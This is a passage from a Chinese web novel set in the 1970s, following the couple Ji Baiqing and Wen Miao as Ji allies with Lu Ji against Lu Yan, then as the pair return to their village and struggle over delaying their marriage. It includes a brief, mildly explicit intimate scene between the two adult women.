温淼弯起眼,将她拦下,声音里带了几分笑意:“陆霁姐,她一个人就好,她特意让我过来和你说说话的,本来就是请你来吃饭,怎么好意思让你动手。” 她给陆霁倒热水泡了杯茶,放在她面前:“如果不介意的话,我们说说话吧。” 两人年纪相差不算太大,陆霁大温淼两三岁,还真的有话可以说,两人也能算上相谈甚欢。 中午多个人吃饭,季白青也摸不准陆霁的饭量,多闷了点饭,菜切到了一半,又跑去食品站买了一条鲫鱼和排骨。 最后做了个鲫鱼豆腐、糖醋排骨和胡萝卜炒肉。 季白青将菜一一端上餐桌,温淼给她们盛饭,三个人坐下后,季白青还十分谦虚地对陆霁道:“厨艺不精,也不知道合不合陆霁姐你的口味。” 温淼拆恋人的台:“阿青手艺很好的,陆霁姐你放心吃。” 陆霁闻着空气中弥漫的饭菜香也能知道季白青手艺不错,别的不说,光是看起来就让人食欲大增。 她笑:“叫我霁姐吧,听着也没那么别扭。” 季白青适应得很快,立马回复:“那霁姐叫我阿青,叫她淼淼就行,都别那么客气!” 用干净筷子给陆霁夹了菜,季白青低头看着温淼夹了糖醋排骨吃,微微眯起眼睛的模样,给她夹了一筷子胡萝卜。 “今天的胡萝卜脆甜,很好吃。”顶着温淼的怒视,季白青笑眯眯道。 到底是有别人在场,温淼不好意思发脾气,最后闷头吃掉了胡萝卜。 不过确实如季白青所说的,很脆很甜。 但还是讨厌。 胡萝卜,讨厌。 季白青多拿了三个碗,盛了汤分,又给温淼挑鱼刺,最后大小姐才算是被哄好,吃饭吃得很开心。 陆霁吃着可口的饭菜,喝着暖胃的鱼汤,见对面的恋人举止亲昵,举手投足都充满对对方的依赖与爱意,她一时间有些恍惚。 季白青和她只有一面之缘,突然请她来家里吃饭自然是别有目的的,这一点陆霁自然知道。 只是她以为季白青会选择在饭桌上同她说正事,都已经打起了精力准备应付,却没想到她所说的吃饭只是单纯的吃饭。 察觉到了陆霁落在自己身上的视线,季白青抬头有些疑惑,“霁姐,快吃,不然待会儿饭菜该冷了。” 陆霁回神,点了点头,这才继续吃。 知道两人饭后有事说,温淼便主动提出去洗碗筷。 三个人所需要洗的也不多,季白青提醒她兑热水再洗后便和陆霁面对面坐着开始说正事。 看着正襟危坐的陆霁,季白青有些无奈,弯眸一笑:“霁姐,不用那么紧张,放松点。” 她不过是想要和陆霁谈合作,又不是要吃了她。 闻言,陆霁的绷直的肌肉微微松懈,手指捏着衣服下摆摩挲。 她抬眸直直看着季白青,问:“你找我是想要说什么呢?” 季白青十分坦然:“霁姐,你是陆延姐姐,我想问的是你,你们是姐弟还是……敌人?” 听了这话,陆霁一怔。 手指擦得几乎发白,淡粉色的唇瓣颤动一阵,最后轻声道:“是姐弟,之后也会是对手,倒是没有到敌人那么严重。” 季白青很快认错:“是我用词不当,我其实大概能懂霁姐你的意思,你想要取代陆延,我说的对吗?” 见对方毫不犹豫地点头,季白青心里有了底。 “我讨厌陆延,希望他以后过得不好,也有办法插手他在生产队里的事,你和他是对手,我和他是敌人,那我们就是朋友。霁姐,你想和我合作吗?” 陆霁沉默一阵,季白青倒是没有着急得到回答。 抬头见温淼站在门口犹豫要不要过来,季白青对她招招手,示意她过来坐在自己身边。 见状,温淼不再纠结,在季白青身边坐下。 两人之间的沉默让温淼有些好奇,贴着季白青和她咬耳朵。 只以为说的话小声隐蔽,实际上三个人坐得那么近,什么话都能听得清清楚楚。 季白青抓住她的手,在她手背上点了点,示意她别闹。 温淼这才安静下来,过了一会儿陆霁才开口:“可以。我可以和你合作。” “你想我怎么帮你?你又怎么能够帮到我呢?” 季白青狡黠一笑,得到了同意后气氛也缓和了一些。 “很简单,我们两个的目标都一样,就是让陆延不好过。” “只要他没有陆家背后势力的帮助,那他就不会那么嚣张了,霁姐应该有办法让他少联系陆家吧?” “同样,只要我们合力把他弄废了,陆家总不应该还看得上这样一个继承人。” 陆霁沉思一会儿,倒是没有再犹豫。 “好。”她干脆应下。 季白青眉眼弯弯,和陆霁握手。 “那——合作愉快~” “合作愉快。” 也就正经一会儿,轻握的手一触即分,季白青靠着沙发,将心里的问题问了出来:“霁姐,陆老爷子为什么会让陆延下乡,里面是有什么说道吗?” 她虽然看了原文,但是原书中恶毒女配的情节没有后她就再也没有往后看过,大概只看到了三分之二的剧情,她需要尽可能地再多了解一点与女男主有关的事。 知己知彼方能百战百胜。 陆霁喝了口茶,平静道:“原本应该是我去下乡的,不过陆延做了错事,惹怒了老爷子,最后老爷子就让他去下乡了。” “老爷子要求陆延依靠自己的能力回到京市,到时候才会把陆家的一切交给他。” 陆老爷子是和温向荣同级的首长,陆家先前是皇商,陆父继承了家里的生意,发展的不错,攒下来一大笔财产。 政策严峻之后,在陆老爷子的督促下,陆父将自己明面上名下的大部分财产都捐出,保全了陆家的同时,实际上家里也还留下了一笔巨额家产,这个秘密只有陆家人知道。 陆老爷子背靠军部,有人脉,陆父有钱,同时也结交了不少朋友,最后都能够供陆延所用。 光是想想,季白青就咂舌,不愧是小说男主,光环开的这么大。 又看了眼陆霁,对方垂眸,不知道是不是在出神。 她撑着脸,慢悠悠评价:“那可真不公平,明明都是陆家的孙辈。” “不过……”季白青眼睛弯成月亮,黑眸莹莹闪耀,“公平是要自己争取的,霁姐,相信我,陆延可以,你也可以。” 对上她坚定的眸子,陆霁缓缓点头。 “我知道了。” 说话期间,温淼靠着季白青,神色有些困顿了。 季白青偏头看了眼肩头的某人,神色有些无奈。 看出来她们可能需要私人空间,陆霁识趣地站了起来。 “已经打扰这么久了,我也该回去了。” “再有几天我们就回潇南了,霁姐,到时候写信联系,有什么事都记得写信。” 将自己的地址写好给了陆霁,季白青对她摆了摆手。 等到人离开后,季白青一把将身边的娇娇抱起,给她脱了衣服鞋袜之后放进被窝。 温淼迷瞪瞪地睁开眼睛,琥珀色眸子里盛着碎光,一眨,像是闪烁的星星。 她黏糊糊撒娇,声音娇甜:“阿青陪我睡。” 还没得到回答,女人就往床里靠了靠,似乎是吃定了季白青肯定会答应。 季白青:“……” 季白青哪有不答应的说法,虽然她现在有点想去根据刚才她和陆霁的对话复盘一下原剧情以及重要的剧情点,但老婆现在要她陪着睡觉。 天大地大,老婆最大。 复盘什么的……还是等哄老婆睡着之后再去做吧。 季白青把衣服一脱,钻进被窝,将老婆团吧团吧塞进了自己怀里。 对方的怀抱和体香都格外熟悉,没多久温淼的呼吸声开始变得绵长。 低头一口亲在她的发顶,季白青等着她睡得更熟一些后才放开,轻手轻脚起来,抽了个本子,在床边做复盘。 免得待会儿某个粘人精起来后没看到自己又要生气。 将大概的关系捋清楚之后,季白青的心里有了底。 有了陆霁的帮助,那她对付起陆延来便更有把握了,也不用太过担心他背后的势力。 季白青和温淼一共请了半个多月的假,休息的时间总是格外迅速地流逝,解决了李文宇她们之后,再陪陪温向荣,时间过得飞快。 再有两三天,两人就要回潇南了。 新年的氛围褪去,单位都陆续开工,街市上也逐渐热闹起来。 温淼带着季白青去京市著名的景点看了看,她们还在红旗下拍了一张合照,选的彩照,两人站在红旗下笑得明媚,最后洗了三张出来,一张给了温向荣,一张两人自己留恋,剩下的一张要拿回去给何香月她们看看。 她们也一起买了不少的东西,有给何香月季伟的,也有给云水村几个小家伙的,温向荣和温如嫣她们的礼物也有。 在离开的前一夜,温向荣让季白青和温淼一起过去吃饭。 一家人都来了,围坐桌边,看着倒是挺热闹。 温向荣对着季白青也难得有了好脸色,主动给她夹了菜。 季白青爱吃辣的,她竟然也能看出来。 看着碗里的辣椒炒肉,季白青有些受宠若惊,连连道谢:“谢谢奶奶。” 温向荣点头,没再多说什么,对着温淼和季白青两个人桌上腻腻歪歪的动作也是睁一只眼闭一只眼。 换做是她们以前在桌上腻歪,温向荣早就出言教训了。 吃了饭,一家人坐在一起说话。 温如嫣关心道:“明天你们就回潇南了,东西都收拾好了吗?” 温淼点头,“我和阿青都收拾好了。” 她和季白青都不是要将事情拖到最后面才完成的人,早在几天前就开始陆续将需要带回去的东西收拾出来。 只需要今天晚上回去再清点一番有没有遗漏就好了。 听她这么说,温如嫣也没再多嘱咐,只是叹了一口气,有些惆怅。 “明天下乡了,又要差不多一年才能见面了。” 季白青看了眼温如嫣,心想,那也不是。 她们回去之后很快就能见面了,就是形式有点严峻而已。 不过这话她不能直说出来,不然温向荣她们得拿着扫帚把她给赶出去。 想到这,季白青的思绪复杂起来,低头看着干净的桌面出了神。 “小季、小季?”温皎皎连连叫了她两声,最后提高声音有叫了一次,低头发呆的人才猛然地看向她。 温皎皎道:“你们回去好好商量商量结婚的事,新婚礼物晚点我们再寄过去了。” 季白青点头,温声回答:“没事的姑姑,这事也不着急。” 这话一出,温向荣皱着眉,有些不乐意。 声音也沉了下来,“结婚的事怎么就不着急了?你和蓁蓁不是说好了回去就结婚的吗?” 温淼对上温向荣,也是帮着季白青说话:“奶奶,结婚的事情本来就需要时间准备,就算真的要领证,也要挑个好日子啊,肯定是急不得的。” “你之前不是还觉得阿青不好吗?怎么现在又一直催着我们结婚?”咕哝着这话,温淼忽然狐疑地看了温向荣一眼。 “——奶奶,你们该不会是有什么事瞒着我吧?” 温向荣面色不变,直接瞪她一眼。 “我能有什么事瞒着你!” “催婚这不是因为我怕你脾气太大小季迟早忍不了么!” 闻言,温淼瞪圆了眸子,不可置信地看了季白青一眼,指着自己问:“我?脾气大?” 温向荣的眸子也看向她:“小季,你说温淼的脾气难道不大吗?” 季白青:“……” 夹在祖孙二人中间,这要她怎么做人? 季白青选择转移话题:“那个我说的不着急是新婚礼物不着急,你们都理解错了。” 温向荣哼一声,看着温淼:“听到没,回去早点结婚,别拖拉。” 温淼还有些不服气,又问季白青:“我脾气大吗?” 看着她圆溜溜的眼,季白青头疼。 脾气确实是挺大的,但可爱,她喜欢。 对着老婆的质问,季白青微笑回复:“不大,蓁蓁是我见过最温柔最善解人意的女同志。” 温淼也哼了一声,得意地看着温向荣。 为了防止在回去前一夜,祖孙两人吵起来,季白青又坐了一会儿就拉着温淼离开了。 出门前,季白青犹豫一会儿,让温淼在门外等着,她再度回到屋里,对温向荣道: “奶奶,我会照顾好蓁蓁的。” “你也要照顾好你自己,要好好的,一直到我们再见面。” 说完,她也没看温向荣的脸色,出了屋子,拉着温淼走了。 温向荣顶着冷风在门口愣愣站了一会儿,看着季白青和温淼远去的背影。 她想,季白青是从哪里发现了端倪? 或许,她真的没看错季白青,她真的有能力将温淼保护好。 第二日,拎着大包小包的东西,季白青肩膀上挑着担子,和温淼一起上了火车。 温淼不喜欢离别的气氛,便没让温家人来送。 火车呜呜一声,哐啷哐啷向前行驶。 看着窗外熟悉的景色逐渐远去,温淼还没来得及惆怅,手里就被塞了个柿饼。 季白青在床边坐下:“饿了没,先吃点垫垫肚子。” 温淼垂眸一笑,咬了一口,又将柿饼凑到季白青的嘴边,喂给她吃。 她想,无论前路如何,至少身边的人会一直陪着她。 她的前路是早已熟悉的溪宁镇,她的身边也是交心的爱人。 火车行驶了一整天,跨越一千多公里,最后在溪宁镇停下,她们下车。 带着行李出了火车站,再次落地熟悉的地方,她此时却少了去年的茫然与失落。 季白青空出个手,抓着温淼的,扬唇笑道:“蓁蓁,回家了。” 温淼低头一笑。 她离开了家,又回到了另一个家。 【作者有话说】 人,宿宿雪想要评论[捂脸偷看] 感谢投雷营养液,感谢订阅评论收藏[撒花] 66 第66章 ◎结婚◎ 两人比预想中的要提前几天回来,没有告诉何香月和季伟,自然是没人来接。 季白青带回来的东西还挺多的,提着费劲,最后在火车站周边辗转一圈,还是雇了个人,驾着牛车帮忙将带回的东西送回去。 她们坐在牛车后斗,眼神往外看,熟悉的风景落在眼前。 季白青有些感叹:“也没离开多久,现在就感觉有点陌生了。” 与京市相比,溪宁镇显得逼仄,烟火气却是足足的,因为新年,路上看到的每个人面上都带着笑。 此外,溪宁镇的天儿倒是没有京市那么冷,也没有下雪,只是风要更烈,呼呼地往人的脸上吹,找准了机会钻进人的衣服里。 可能是前阵子下过雨,风是带着湿意的。 又湿又冷,还好季白青没有老寒腿,不然指定得犯病。 念此,她伸出手摸了摸温淼的膝盖,在老婆疑惑的眼神下问她:“膝盖冷吗?” 温淼摇了摇头,“穿的裤子很厚。” 季白青松了一口气,很好,老婆也没有老寒腿。 很快回到了村里,生产队还没有开始组织上工,村民都很悠闲,眼见着还没有出正月,都在村里闲逛。 见着季白青和温淼回来了,她们都有些惊讶,在牛车路过的时候同两人打招呼:“哟,白青和温知青回来了。” 简单应付了几句后,很快到了家门口。 季白青跳下了牛车,让温淼扶着自己下来,对屋里大喊:“娘!爹!我们回来了!” 没有一会儿的功夫,紧闭的门被打开,何香月和季伟穿着破袄子出来,脸上有些惊喜。 “怎么这么快就回来了?!” 说话间,两人帮忙将车上的东西拿下来,大包小包的东西,搬进家里来回捣鼓了好几遍。 温淼给了钱之后,牛车晃晃悠悠地离开了。 帮着把剩下的一点东西拿回家里,把门关上,挡住门外的寒风。 还没说上几句话,何香月她们就开始捣鼓着将炭盆给烧上,她们舍不得用炭,在家都是直接在灶房烤火,还能用余烟熏腊肉。 终于将炭给烧红了,季伟将几个红薯和芋头端上桌,还想折身再去找什么东西,季白青连忙拦住他:“娘、爹,你们都别忙活了。” 她挑了个蒸得流蜜、看起来就甜的红薯剥开给温淼,自己也囫囵吃了个芋头,这才对她们道:“在京市陪了奶奶她们一段时间,她们催着我们回来,淼淼也说想你们了,所以我们这不就回来了。” 看了眼她们身上穿的破袄子,她有些无奈。 “怎么不穿我和淼淼给你们新买的?你们现在穿的袄棉花都不剩多少了,穿着不保暖。” 何香月将手伸到桌下烤火,到底是大半个月没见着闺女了,此时还是和颜悦色的,面上笑呵呵。 “新衣服过年穿了,整天在家穿的话不就弄脏了。” 季白青白眼一翻,“衣服不就是拿来穿的吗?弄脏了就洗。” 温淼掐着她腰间的肉,轻拧一下,让她好好说话。 “啧,”季白青站起来,将带回来的一个包袱打开,翻翻找找最后掏出来两件棉袄,一件黑色、一件深棕色,塞到妻夫两人的怀里,“喏,淼淼给你们在京市买的棉袄,都是深色,脏了也看不出来,这下总不用担心弄脏了吧。” 年前给她们买的袄也是深色,到底怕弄脏还是借口,她们只是舍不得穿。 摸着手下柔软的布料,何香月有些感动,又有点心疼。 “淼淼,谢谢你。” “不过我们都有衣服了,怎么还买啊,那么多都穿不完。” 温淼轻声回应:“没事的婶子,衣服其实是我和阿青一起挑的,你们别怕穿坏,衣服不穿才容易坏呢。” 季白青说:“那么多衣服也没见你们穿,听淼淼说了没,新衣服多穿才不容易坏。” 因为家里条件不好,何香月以前没有上过学,便格外信任读书人的所说的话,尤其温淼还是个老师,闻言,何香月立刻把破棉袄脱了,穿上了新的。 棕色的新袄穿在她身上,制作精良的袄修身,不显臃肿。 她脸色有些不自在,但还是目含期待地望向她们:“怎么样?合适吗?我觉得穿着还挺合身的。” 季白青给她娘竖了个大拇指:“特别好看,看起来何香月同志还跟18岁一样。” 温淼还在一边若有其事地跟着点头,乐得何香月笑的合不拢嘴。 她嗔两人一眼:“哪有你们说的那么夸张,那不是成了老妖怪了!” 一家人其乐融融,季白青和温淼又将其它带回来的礼物分了分,温向荣也给何香月妻夫准备了礼物,都是些麦乳精之类的补品和京市的特产。 看着堆成小山似的礼物,受宠若惊的同时,何香月将季白青拉到了一边。 “白青,你和淼淼的事,她家同意了吗?” 季白青见她一脸紧张,失笑。 “放心吧娘,奶奶她们对我还算满意。” 听她这么说,何香月松了一口气,又连忙追问:“那你们什么时候领证?” 季白青的眉心不自觉皱起,指尖的布料被她揉搓得发皱。 “挑个好点的日子,尽快吧。” 这话一出,她想了想,还是改口。 “先办酒席,再去领证。” 其实季白青和温向荣的想法一样,她也想要早点和温淼结婚,怕再拖下去会生出多余的事端。 这段时间,心里总有些不安,这些不安在回到了溪宁镇之后又被无限放大。 莫名的忧心让她也有些摸不准自己到底是在担心什么,如果认真地去深究,却又找不到具体的原因。 她呼出一口气,只能让自己不再多想。 无论如何,都要看温淼的意见,她想要什么时候结婚、办酒席、领证,季白青都听她的。 何香月点头,心里也在琢磨着两人之间的事。 “好,那我和你爹去看看日子。” “你记得也去问问淼淼的意见,一定要好好商量。” 季白青点头,打了水去房间。 在火车上其实是睡不安稳的,季白青几乎没睡,只是闭目养神,火车车厢里吵,温淼也不太睡不着。 回来后,吃了点东西,后知后觉的困倦涌上心头。 她和温淼一起泡了脚,脚上的寒意被驱散,便一起上床休息。 知道两人休息,中午吃饭何香月也没吵着她们,吃完后将饭菜放进锅里热着,两人一醒来就能直接吃了。 她们是在上午睡的,醒来的时候已经窗外已然不见什么亮色。 季白青看了眼手表,竟然才四点多。 肚子有些饿,她垂眸看了眼靠在她胸前还阖着眼睛的温淼,揉了揉她的发。 “老婆、蓁蓁。” 温淼发出一声柔软的嘤咛,下意识地在她胸前蹭蹭,随后才慢慢睁开眼。 对上了季白青的眼,季白青与她拉开一些距离后,又一下亲在了她的唇边。 粉艳的舌尖舔舐过温淼的唇,温淼眼中还带了几分困意,突然被亲,懵懵地瞪圆眼睛,倒是季白青已经闭上了眼睛,纤长的睫毛随着动作不断轻颤。 撬开唇齿,温淼的舌尖迎上来,隐蔽的水声自唇齿间淌出,听着让人耳热。 两人小动物似的黏黏糊糊地亲了几分钟,再次分开,见季白青的面上泛着粉,唇面上也带着水光,温淼伸出手去捏她的耳垂,果然是烫的。 在一起这么久,接个吻居然还会像是以前一样害羞。 被她用惊诧的眼神看着,季白青有些羞恼,偏过头去,捏着她耳垂的手落下来,她一口咬了上去。 倒也没多用力,带着几分狎昵,温淼感觉手指已经在她口中被浸润。 含糊的话被说出口:“接吻应该闭眼才对,坏老婆。” 温淼弯起唇,晃了晃自己的指尖,“好啦,别闹了,该起床了。” 她的手放在季白青的小腹上,“不饿吗?我好像听见肚子叫了。” 季白青慢吞吞哼了一声,松开了嘴。 她站起来,给自己套上衣服,又去柜子里找了条毯子,最开始温淼还有些茫然,傻乎乎问:“不是起床了吗?” 怎么还要多拿条毯子出来? 一直等到毯子被垫到了她的腰后,她想跑都来不及了。 身下的毯子晕染开深色的水迹,当着温淼的面,季白青抽出手,骨节分明的食指和中指上还带着粼粼的水光。 温淼的眼睫湿漉漉的,眸子里蒙上了一层水雾,见到这一幕抽泣一声,后腰更软了,委委屈屈地将脸侧过,埋进枕头里。 等到季白青收拾完狼藉,又哄好了人、替她穿好衣服出去已经是半个小时后的事了。 两人都饥肠辘辘,锅里的饭菜还是温的,眼见着就要到晚饭时间了,在她们吃饭的时候何香月干脆将腊排骨砍了炖上,她们吃完饭后还能喝上汤,再吃几块肉。 季家都是实木的凳子,温淼坐了一会儿,酸软的腰和更为脆弱的那处就有些受不了。 季白青被她瞪了一眼后,飞快扒拉几口饭,空出一只手来给她揉腰。 “下次肯定听你的话了老婆。”堂屋没有第三个人,季白青靠近她,和她亲昵咬耳朵。 温淼偏过脸去,耳垂早就被她呼出来的气息打热,抿唇独自不高兴一会*儿,她又有些不服气。 “你什么时候听过我的话?我说什么你都不听的。” 让她轻点慢点,季白青永远像是没听到一般,更过分的是还要和她所想的背道而驰。 就连在平日里也是表面上听她的,实际上她认定的事温淼无论说什么都改变不了。 想到这一点,温淼差点又被气哭。 季白青见她委屈巴巴的模样,心软得不行。 “那下次你自己来好不好?” 温淼狐疑看向她,明显的不信任。 “真的?” “真的。” 季白青腹诽,就是怕老婆娇娇弱弱,做到一半后突然没力气了。 到时候还不是得她来动手。 但架不住温淼听了这话心情能好上一些,看着她唇角翘起,季白青觉得,让她自己来也挺好。 她给温淼夹了一筷子菜,“好了,别委屈了,多吃一点。” 吃了一餐后,晚饭又做好了,何香月给两人各自盛了一碗汤,热乎乎的汤带着腊排骨的香,落在胃里,整个身体都暖和起来,脸上也多了几分血色。 原本温淼吃饱了,但还是没忍住多吃了几块排骨。 见她喜欢,季白青准备明年烘腊肉的时候再多准备点排骨。 晚饭过后不过六点多,何香月和季伟没在外面呆多久。 堂屋只剩下温淼和季白青两个人。 季白青想着温淼不舒服,原本想让她先去床上躺着休息,但温淼想洗澡,再洗个头发,头发湿漉漉的不好直接睡下,她们便一起坐在堂屋烤火。 帮温淼将头发上滴的水擦干,季白青随意擦了把自己的头发。 见她坐着的姿势有些别扭,拿了个枕头垫在她后背。 她找了件自己不穿的破袄子,拿了针线低头缝缝补补。 温淼双手托腮,看她忙活,盯了好一会儿,才问:“阿青,你在干什么?” 季白青没抬头,将棉花塞匀,“不是说坐着凳子不舒服?我给你缝个坐垫。” 将最后几针缝完,季白青摸了摸下巴,举起来左右看了看。 “虽然不太好看,但应该还挺软的,蓁蓁,你试试。” 季白青将坐垫放在凳子上,见温淼坐了上去,有些期待地问:“怎么样?会不会舒服一点?” 见温淼点头,她吐出一口气。 “看来新房子那边要买张沙发才行。” 想到京市家里的那张沙发,温淼慢慢红了脸,拿手背给自己的脸颊降温,没有说话。 季白青趴在桌上,抬眸看着温淼,小声问:“蓁蓁,你想什么时候结婚?” 听到这句话,温淼沉默了一瞬。 要是放在以前问温淼想要什么时候结婚这个问题,她的回答肯定是越快越好。 虽然很丢脸,但她还是不得不承认,她一颗心全都扑在了季白青身上了,喜欢她喜欢得不行了。 但在京市,温向荣一反常态,一而再再而三地催促她和季白青结婚,她从中体会到了一丝不对劲。 即使季白青在温淼看来千万般好,好到温向荣也满意的地步,她也绝对不会这么快就催婚。 有了温泠月的经验在前,两个姑父都是被温向荣考验了两年最终才顺利入赘温家。 换了季白青,怎么温向荣的态度就变了呢。 温淼最开始还没有察觉到什么异常,只以为是温向荣担心她下乡受委屈,想要让她快点找到一个庇护。 温向荣掩饰得再好,相处的时间长了,温淼也发现了问题。 几十年没变的住所突然换了,过年期间也少了上门拜访的人,她所眼熟的跟在温向荣身边十几年的警卫员也不见踪影。 她能看出来,温向荣一向神采奕奕的面容也多了几分疲惫,她以为永远不会变老的长辈在她没看见的时候头发转成霜白。 温向荣出了事,她不想让温淼知道,甚至可能没有同温皎皎她们说,不想要小辈替她担心。 她有她自己的骄傲,温淼看出来了端倪,也没有问出口,只是依照温向荣的意愿来做。 在温向荣面前,她让温淼和季白青结婚,温淼可以笑着应下。 但现在离开了京市,和爱人面对面再谈起来结婚的事,温淼却可耻地想要逃避。 指腹落在桌面上轻轻点了点,温淼垂眸,没有看季白青,轻声开口: “阿青,你不觉得太早了吗?” 在七十年代,正常人相看,看对眼后再处上十天半个月没问题后就能够去扯证了,季白青和温淼相处了八|九个月,谈恋爱谈了七八个月,现在结婚还真算不上早。 听了她的话后,季白青的心微微一沉,眉心不自觉地拧了起来,她问:“……就只是这个原因吗?” 听出来对方语气中的沉闷,温淼的睫毛一颤,在半空中停顿一会儿快速收拢。 她敛眉,给出了自己的回答:“嗯,太快了。” 季白青默不作声地站了起来,去给自己倒了杯冷水。 手抵着冰凉的搪瓷杯,她半靠着墙,分析温淼想要晚点结婚的可能原因。 太早太晚都只是借口,温淼……知道温向荣的事了?还是猜测到了几分。 她掀起眼皮,温淼还低着头不知道在想着什么。 折身回灶房倒了杯温水放在温淼的面前,季白青看着她的脸,又问了一遍:“真的不想现在结婚吗?” 温淼若无其事地接过了水杯,喝了一口,水的温度适宜,她却无端地觉得心里发冷。 她点头,语气和缓却坚定:“嗯,阿青,我说了,现在还太早了。” “嗯。”季白青点头应下。 见她转头去灶房的背影,温淼的手不自觉攥紧,指甲陷入手心,掐出了几乎见血的印。 她想结婚,很想。 可是却不能。 至少现在不能。 不知道季白青是不是生了气,温淼又在堂屋坐了半个小时,没有见到她的人。 摸了摸自己的头发,已经干得差不多了。 温淼回了房间,脱了衣服之后用被子将自己裹紧。 被窝里少了另一个人的温度,没有以往的热度,是凉的,冰冷地将她包裹,捏着被角,温淼呜咽一声,眼尾漫上了浅粉。 她一直没有睡着,不知道等了多久,门口突然传来了门锁被拧开的动静。 温淼的睫毛一颤,胡乱的将脸上残留的泪痕擦拭干净,放缓了呼吸等着季白青进来。 灯没有被拉开,屋子里一片黑暗,温淼睁着眼还是什么都看不到。 只能感受到季白青的脚步声,很轻巧地落在地上,几乎没有什么声响,突然听她闷哼一声,摩擦声同时响起,大概是不小心撞上了什么东西。 脚步声渐进,最后在床前停了下来。 她闭上眼睛,呼吸越来越缓。 季白青终于脱了衣服上床了,将被子掀开,为冰凉的被窝注入几分热气。 却没有以前的亲昵,离温淼有些远。 温淼没说话,只是将自己的腿往她那边凑,最后和她的脚贴近。 季白青被冰了一激灵,也知道她没睡,拧着眉,将她往自己怀里勾,拢住了她的手。 “怎么这么冷?” 季白青的语气算不上好,可也绝不是凶她。 温淼埋在她的胸口,感受着她身上的炙热温度,才抑制住没有多久的眼泪突然失控,一串一串地往下掉。 她哽咽:“阿青,被窝好冷,我一直睡不暖。” 她不知道现在在季白青流露出这副可怜的模样,她还会不会心疼。 大概不会了吧,明明商量好的回来就结婚,结果她却临时变卦。 她死死咬着唇,将哽咽声全都咽下去,呼吸声却丝毫不能藏住情绪。 季白青轻叹一声,她将握着温淼的手拿开,手落空的瞬间,温淼的手下意识抬起,想要勾住她。 她不想让季白青走,也不想她不耐烦。 但她此时好像没什么挽留的资格,她把一切都搞砸了。 低落沉郁的心情将她压得几乎喘不过气来,只是温淼所想的季白青不耐烦离开的场景却并没有发生。 带茧的指腹落在她的眼下,轻拭去她的泪。 她被季白青揽进了怀里轻哄。 女人的声音温和,褪去了以往的稚嫩,多了几分包容:“好了蓁蓁,哭什么?” “都怪我没早点回房间,现在我给蓁蓁暖被窝好不好?很快就能热起来了。” 泪将睫毛打湿,抬起眼皮的时候就显得格外沉。 黑暗中什么都难以看清,温淼抬头却还是能够准确捕捉她所落下的视线。 她的手攀上了季白青的肩膀,最后抓住她的衣领,话里还带了几分泣音,小心翼翼地询问: “阿青,你、你生气了吗?” 将她眼角最后一滴泪擦去,感受到怀中人的不安,季白青轻拍她的后背。 “没生气。” 她像是不相信,摸索着将唇落在她的下巴上,是个带着试探意味的吻。 “真的没有生气吗?” 季白青将被眼泪打湿而贴在她脸颊上的发丝拨开,耐心回答:“真的没有生气。” 不知道怀里的人信了几分,窝在怀里一动不动了。 但也不是睡着了,呼吸声深深浅浅,有些凌乱。 她给人暖着手脚,有了她,被窝里总算是多了些温度,温淼的身上也不至于冰凉一片。 想着她的心情平静下来,季白青的身体一动,刚想坐起来就被人扯住了衣服。 温淼的声音响起:“阿青、你去哪?” 感受到她话里的紧张,季白青捏捏她的脸颊,“好了,我去给你倒杯水。” 身体冰凉,喝杯热水会好很多。 温淼摇头,拒绝的意思不言而喻。 “不喝水,想要你陪我睡。” 只有季白青在身边的时候,温淼才能感受到她确实没有对自己生出不耐烦,也没有因为结婚的事和她置气。 有时候温淼自己也觉得她的行为过分,恋人实在是算不得什么堂堂正正的身份,她贪恋季白青的温柔却不愿意和她结婚,给她妻子的身份,怎么想都觉得好过分啊。 可……温向荣到底发生了什么事,她没有得到明确的答案,对结婚这一选择自然需要慎重又慎重。 她不能因为自己而拖累了季白青,拖累了一整个季家。 现在不结婚才是最好的方案。 将脸贴在季白青的胸前,温淼听着她沉稳的心跳,酸涩再度涌上心头。 她又问了一遍:“阿青有没有生我的气?” 季白青温柔回答:“没有生气,无论结不结婚,我们都相爱,只要相爱就好。” 这话说出之后,感受到自己的胸前又被一滴一滴砸下的泪打湿,她真的有些无奈了。 也不知道哪来的这么多泪可以掉。 她没再劝,手放在她的后背有一搭没一搭轻拍,只希望温淼发泄了一番之后就别再多想了。 没多久,怀里的人就睡熟了,只是眼角还噙着泪,不用开灯看,季白青就可以猜出那可怜模样。 等着怀里的人睡得再熟了一些,季白青将自己的手脚抽了出来,给她掖好被角,去灶房煮了个鸡蛋。 等待着鸡蛋煮熟的过程,她站在一边,大脑无端刺痛,下意识想要伸手从兜里拿烟。 摸了个空后,才后之后觉反应过来,她穿书了,已经戒烟两年多了。 太穷的那段时间,什么烦心事都被放到一边,她能做的只有卖力地读书、赚钱,比起烦心事,穷才是最可怕的。 真正地赚到了钱后,闲暇之余,她却也学会了以前看不起的喝酒抽烟的坏习惯。 没有瘾,只会在烦闷难以排解的时候喝上几杯,对待抽烟也是如此。 看了眼空荡荡的手心,她从柴火堆折下一根小树枝,冲干净后叼在嘴里。 她想,也确实不能再抽了,温淼不喜欢。 其实刚才温淼问过她很多遍,她到底生不生气。 季白青也不太能很好界定。 生气,倒是真的算不上,可能失落更多。 温淼言不由衷,温淼有难言之隐,这些都是拒绝她的理由。 说到底还是季白青想的太轻松,还以为温淼真的什么都没察觉到。 她是察觉到了,只不过是没有和自己明说而已。 季白青有时候感觉两个人像是陷入了死循环,她意识到了不对劲隐瞒温淼,温淼察觉出端倪也不和她明说。 她难得对自己产生了质疑,这样的相处方式,是正确的吗? 头疼,像是针在扎,一阵一阵画面卡顿着从脑海闪过。 也不是刻意要冷落温淼,只是季白青认为自己需要清醒一会儿才能更好地接受温淼的想法,也能想出更好的解决问题的方法。 她从灶房出门,在屋外吹了大半个小时的冷风,又回去烤了会儿火,才回的房间。 温淼没睡、温淼哭了。 这两件事让季白青更加心乱,什么都顿时不在意,身体的异常被忽略,只想哄着她不哭了。 晚点结婚没事,不结婚也没事,两人的相处方式有问题,慢慢改变就好,只要不分开。 这事季白青做出来的决定。 水咕噜咕噜地滚开,看着变了色的鸡蛋,季白青将火撤掉,又煮了一会儿,将鸡蛋捞起来,拿了块纱布包裹着,回到房间。 安装的电灯不算刺眼,她将灯按开,走到床边时才发现温淼又哭了。 女人眼下带着青黑,睫毛根被打湿,长睫上挂着泪珠,沉甸甸地压着。 她俯身,将恋人连人带被抱起来,放在腿上,泪水轻飘飘的,在她看来却沉重无比,让她心脏酸涩、喉咙发紧。 过了好一会儿,季白青才问出口:“现在被窝暖了吗?” 温淼在她腿上转了一圈,变成和季白青面对面的姿势。 她点了点头,“暖了。” 鼻音很重,也不知道她去煮个鸡蛋的功夫到底哭了多久。 